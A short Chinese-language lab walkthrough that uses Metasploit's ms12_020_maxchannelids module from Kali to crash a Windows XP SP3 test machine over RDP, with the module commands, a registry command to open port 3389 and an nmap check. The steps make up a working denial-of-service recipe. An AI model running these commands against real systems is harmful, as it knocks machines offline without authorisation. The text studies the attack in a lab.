ms12_020漏洞致蓝屏

1、准备:攻击机kali,靶机winxpen sp3

2、打开metasploit

3、查找ms12_020:search ms12_020

4、使用第一个：use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

5、查看：show options

6、设置目标主机IP：setRHOST192.168.199.143（靶机IP）

     打开靶机3389端口（在靶机上用命令行设置）：REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

6、可以了：run或者exploit

7、目标主机：蓝屏、重启

8、问题总结：开始靶机的3389端口没有打开，可以用nmap扫描：namp -v 192.168.199.143查看端口开启情况。